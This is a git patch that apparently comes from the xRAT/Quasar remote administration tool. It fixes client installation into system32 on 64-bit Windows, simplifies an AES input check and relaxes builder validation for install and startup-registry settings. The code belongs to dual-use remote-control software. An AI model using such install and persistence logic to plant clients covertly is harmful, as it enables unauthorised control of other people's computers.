From 3c0e930bc9ff3d82ac16b411e319e39e869d9153 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 24 Aug 2015 20:35:53 +0200 Subject: [PATCH] Fixed Installation to system32 fail on 64-bit OS --- Client/Core/Helper/FormatHelper.cs | 11 +++++++++++ Client/Core/Utilities/NativeMethods.cs | 5 ++++- Client/Program.cs | 6 ++++++ Server/Core/Encryption/AES.cs | 1 - Server/Forms/FrmBuilder.cs | 3 +-- 5 files changed, 22 insertions(+), 4 deletions(-) diff --git a/Client/Core/Helper/FormatHelper.cs b/Client/Core/Helper/FormatHelper.cs index 75ff7b69..9544027a 100644 --- a/Client/Core/Helper/FormatHelper.cs +++ b/Client/Core/Helper/FormatHelper.cs @@ -1,6 +1,8 @@ using System.Drawing; using System.IO; +using System.Text; using System.Text.RegularExpressions; +using xClient.Core.Utilities; namespace xClient.Core.Helper { @@ -39,5 +41,14 @@ namespace xClient.Core.Helper input = input.Remove(input.Length - 2); return input; } + + public static string GetSystemDirectory() + { + var path = string.Empty; + var buffer = new StringBuilder(260); // MAX_PATH + if (NativeMethods.GetSystemWow64Directory(buffer, (uint)buffer.Capacity) != 0) + path = buffer.ToString(); + return path; + } } } diff --git a/Client/Core/Utilities/NativeMethods.cs b/Client/Core/Utilities/NativeMethods.cs index 5c59812d..2a698e21 100644 --- a/Client/Core/Utilities/NativeMethods.cs +++ b/Client/Core/Utilities/NativeMethods.cs @@ -1,6 +1,6 @@ using System; using System.Runtime.InteropServices; -using xClient.Core.Helper; +using System.Text; namespace xClient.Core.Utilities { @@ -40,6 +40,9 @@ namespace xClient.Core.Utilities [return: MarshalAs(UnmanagedType.Bool)] public static extern bool IsWow64Process(IntPtr hProcess, out bool wow64Process); + [DllImport("kernel32.dll", CharSet = CharSet.Unicode)] + public static extern int GetSystemWow64Directory([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpBuffer, [MarshalAs(UnmanagedType.U4)] uint size); + [DllImport("user32.dll")] public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); diff --git a/Client/Program.cs b/Client/Program.cs index f1f3c4c7..0c5561ed 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -118,7 +118,13 @@ namespace xClient AES.PreHashKey(Settings.PASSWORD); _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); + + // https://stackoverflow.com/questions/3540930/getting-syswow64-directory-using-32-bit-application + if (PlatformHelper.Architecture == 64 && Settings.DIR.Contains("Windows\\system32")) + Settings.DIR = FormatHelper.GetSystemDirectory(); + ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); + GeoLocationHelper.Initialize(); if (!MutexHelper.CreateMutex(Settings.MUTEX)) diff --git a/Server/Core/Encryption/AES.cs b/Server/Core/Encryption/AES.cs index f5fd8234..492e8567 100644 --- a/Server/Core/Encryption/AES.cs +++ b/Server/Core/Encryption/AES.cs @@ -62,7 +62,6 @@ namespace xServer.Core.Encryption public static byte[] Encrypt(byte[] input, byte[] key) { if (key == null || key.Length == 0) throw new Exception("Key can not be empty."); - if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty."); using (var md5 = new MD5CryptoServiceProvider()) { diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index c14f2526..9955542a 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -214,8 +214,7 @@ namespace xServer.Forms { if (!string.IsNullOrEmpty(txtTag.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // General Settings lstHosts.Items.Count > 0 && !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtDelay.Text) && // Connection - !chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text) && // Installation - !string.IsNullOrEmpty(txtInstallsub.Text)) && // Installation + !chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text)) && // Installation !chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text))) // Installation { string output = string.Empty;